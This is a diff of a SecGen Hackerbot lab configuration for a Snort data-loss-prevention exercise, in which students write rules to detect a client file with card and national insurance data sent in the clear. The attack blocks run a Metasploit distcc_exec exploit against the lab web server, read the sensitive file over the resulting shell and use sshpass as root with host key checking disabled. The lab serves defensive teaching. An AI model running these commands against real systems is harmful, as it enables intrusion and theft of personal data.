|
|
|
|
@@ -129,7 +129,7 @@ Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%=
|
|
|
|
|
<!--trigger the rule by sending the data-->
|
|
|
|
|
<post_command>cat <%= $rand_tmp_restingplace %>; echo --$?</post_command>
|
|
|
|
|
<!--get the snort alerts after, and diff for new alerts generated-->
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert0 %>.*".*content:"' /tmp/snort_rules >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert0 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; awk '/^alert/ && /<%= $rand_alert0 %>/ && /content ?: ?"/' /tmp/snort_rules |grep '' >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<suppress_command_output_feedback />
|
|
|
|
|
|
|
|
|
|
<prompt>You need to monitor your sensitive list of clients. The file contains credit card details and national insurance numbers. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert0 %>". (This attack may take a while.)</prompt>
|
|
|
|
|
@@ -166,55 +166,6 @@ Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%=
|
|
|
|
|
<tutorial><%= ERB.new(File.read self.templates_path + 'dlp.md.erb').result(self.get_binding) %></tutorial>
|
|
|
|
|
</attack>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<!--TODO: use a version of snort that supports protected_content (2.9.7+ as found in Debian Stretch) -->
|
|
|
|
|
<!--TODO: the below should work with the right version of Snort-->
|
|
|
|
|
<attack>
|
|
|
|
|
<% $rand_alert1 = SecureRandom.hex(3) %>
|
|
|
|
|
<!-- get the snort alerts before -->
|
|
|
|
|
<!-- and make a copy of the file to a new location -->
|
|
|
|
|
<pre_shell>sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$?</pre_shell>
|
|
|
|
|
<!-- exploit and read contents of sensitive file over the network -->
|
|
|
|
|
<get_shell>msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit"</get_shell>
|
|
|
|
|
<!-- trigger the rule by sending the data -->
|
|
|
|
|
<post_command>cat <%= $rand_tmp_restingplace %>; echo --$?</post_command>
|
|
|
|
|
<!-- get the snort alerts after, and diff for new alerts generated -->
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert1 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert1 %>.*".*protected_content:"' /tmp/snort_rules >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<!-- <suppress_command_output_feedback /> -->
|
|
|
|
|
|
|
|
|
|
<prompt>Update your rule so that it doesn't contain any of the sensitive data. Use hash-based matching. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert1 %>".</prompt>
|
|
|
|
|
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>good_rule:1</output_matches>
|
|
|
|
|
<message>:( Couldn't find your snort rule on the IDS server in /etc/snort/rules/local.rules. You are missing *protected_content* matching or the message from your rule.</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>triggered:1</output_matches>
|
|
|
|
|
<message>:( Your rule wasn't triggered.</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>triggered:0.*good_rule:0</output_matches>
|
|
|
|
|
<message>:) Well done! <%= $flags.pop %>.</message>
|
|
|
|
|
<trigger_next_attack />
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>--1</output_matches>
|
|
|
|
|
<message>:( Failed to scp to the ids server (<%= $ids_server_ip %>)</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>-1</output_matches>
|
|
|
|
|
<message>:( Failed to ssh to the web server (<%= $web_server_ip %>)</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>--0</output_matches>
|
|
|
|
|
<message>Continuing...</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<else_condition>
|
|
|
|
|
<message>:( Something was not quite right...</message>
|
|
|
|
|
</else_condition>
|
|
|
|
|
|
|
|
|
|
</attack>
|
|
|
|
|
|
|
|
|
|
<attack>
|
|
|
|
|
<% $rand_alert2 = SecureRandom.hex(3)
|
|
|
|
|
$rand_tmp_restingplace_fake = "/tmp/#{SecureRandom.hex(3)}" %>
|
|
|
|
|
@@ -226,7 +177,7 @@ Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%=
|
|
|
|
|
<!--trigger the rule by sending the data-->
|
|
|
|
|
<post_command>cat <%= $rand_tmp_restingplace_fake %>; echo --$?</post_command>
|
|
|
|
|
<!--get the snort alerts after, and diff for new alerts generated-->
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; grep '^alert.*msg:".*<%= $rand_alert2 %>.*".*pcre:"' /tmp/snort_rules >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert2 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; awk '/^alert/ && /<%= $rand_alert2 %>/ && /pcre ?: ?"/' /tmp/snort_rules |grep '' >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<suppress_command_output_feedback />
|
|
|
|
|
|
|
|
|
|
<prompt>Update your rule so that it also matches the fake_clients file. Use REGEXP so that your rule doesn't include any of the actual data. You have a copy in <%= $sensitive_files_location %>fake_clients.csv Use one or more Snort rules to detect unencrypted transport of either of the files. The alert must include the message "<%= $rand_alert2 %>".</prompt>
|
|
|
|
|
@@ -270,4 +221,50 @@ Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%=
|
|
|
|
|
</attack>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<!-- requires use a version of snort that supports protected_content (2.9.7+ as found in Debian Stretch) -->
|
|
|
|
|
<attack>
|
|
|
|
|
<% $rand_alert1 = SecureRandom.hex(3) %>
|
|
|
|
|
<!-- get the snort alerts before -->
|
|
|
|
|
<!-- and make a copy of the file to a new location -->
|
|
|
|
|
<pre_shell>sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@<%= $web_server_ip %> 'cp <%= $sensitive_files_location %>clients.csv <%= $rand_tmp_restingplace %>; chmod 644 <%= $rand_tmp_restingplace %>'; stat0=$?; echo -$stat0; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_before; echo --$?</pre_shell>
|
|
|
|
|
<!-- exploit and read contents of sensitive file over the network -->
|
|
|
|
|
<get_shell>msfconsole -x "use exploit/unix/misc/distcc_exec; set RHOST <%= $web_server_ip %>; exploit"</get_shell>
|
|
|
|
|
<!-- trigger the rule by sending the data -->
|
|
|
|
|
<post_command>cat <%= $rand_tmp_restingplace %>; echo --$?</post_command>
|
|
|
|
|
<!-- get the snort alerts after, and diff for new alerts generated -->
|
|
|
|
|
<post_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/var/log/snort/alert /tmp/snort_alert_after; echo --$?; diff -n /tmp/snort_alert_before /tmp/snort_alert_after | tail -n 5 | grep <%= $rand_alert1 %> >/dev/null; echo triggered:$?; sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@<%= $ids_server_ip %>:/etc/snort/rules/local.rules /tmp/snort_rules; echo rules:$?; awk '/^alert/ && /<%= $rand_alert1 %>/ && /protected_content ?: ?"/' /tmp/snort_rules |grep '' >/dev/null; echo good_rule:$? </post_shell>
|
|
|
|
|
<suppress_command_output_feedback />
|
|
|
|
|
|
|
|
|
|
<prompt>Update your rule so that it doesn't contain any of the sensitive data. Use hash-based matching. You have a copy in <%= $sensitive_files_location %>clients.csv Use one or more Snort rules to detect unencrypted transport of the file. The alert must include the message "<%= $rand_alert1 %>".</prompt>
|
|
|
|
|
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>good_rule:1</output_matches>
|
|
|
|
|
<message>:( Couldn't find your snort rule on the IDS server in /etc/snort/rules/local.rules. You are missing *protected_content* matching or the message from your rule.</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>triggered:1</output_matches>
|
|
|
|
|
<message>:( Your rule wasn't triggered. Hints: you don't know where in the packet the protected content will be so you can first have a content rule based on something you know will come first, and specify a distance between that and the protected content.</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>triggered:0.*good_rule:0</output_matches>
|
|
|
|
|
<message>:) Well done! <%= $flags.pop %>.</message>
|
|
|
|
|
<trigger_next_attack />
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>--1</output_matches>
|
|
|
|
|
<message>:( Failed to scp to the ids server (<%= $ids_server_ip %>)</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>-1</output_matches>
|
|
|
|
|
<message>:( Failed to ssh to the web server (<%= $web_server_ip %>)</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<condition>
|
|
|
|
|
<output_matches>--0</output_matches>
|
|
|
|
|
<message>Continuing...</message>
|
|
|
|
|
</condition>
|
|
|
|
|
<else_condition>
|
|
|
|
|
<message>:( Something was not quite right...</message>
|
|
|
|
|
</else_condition>
|
|
|
|
|
</attack>
|
|
|
|
|
|
|
|
|
|
</hackerbot>
|
|
|
|
|
|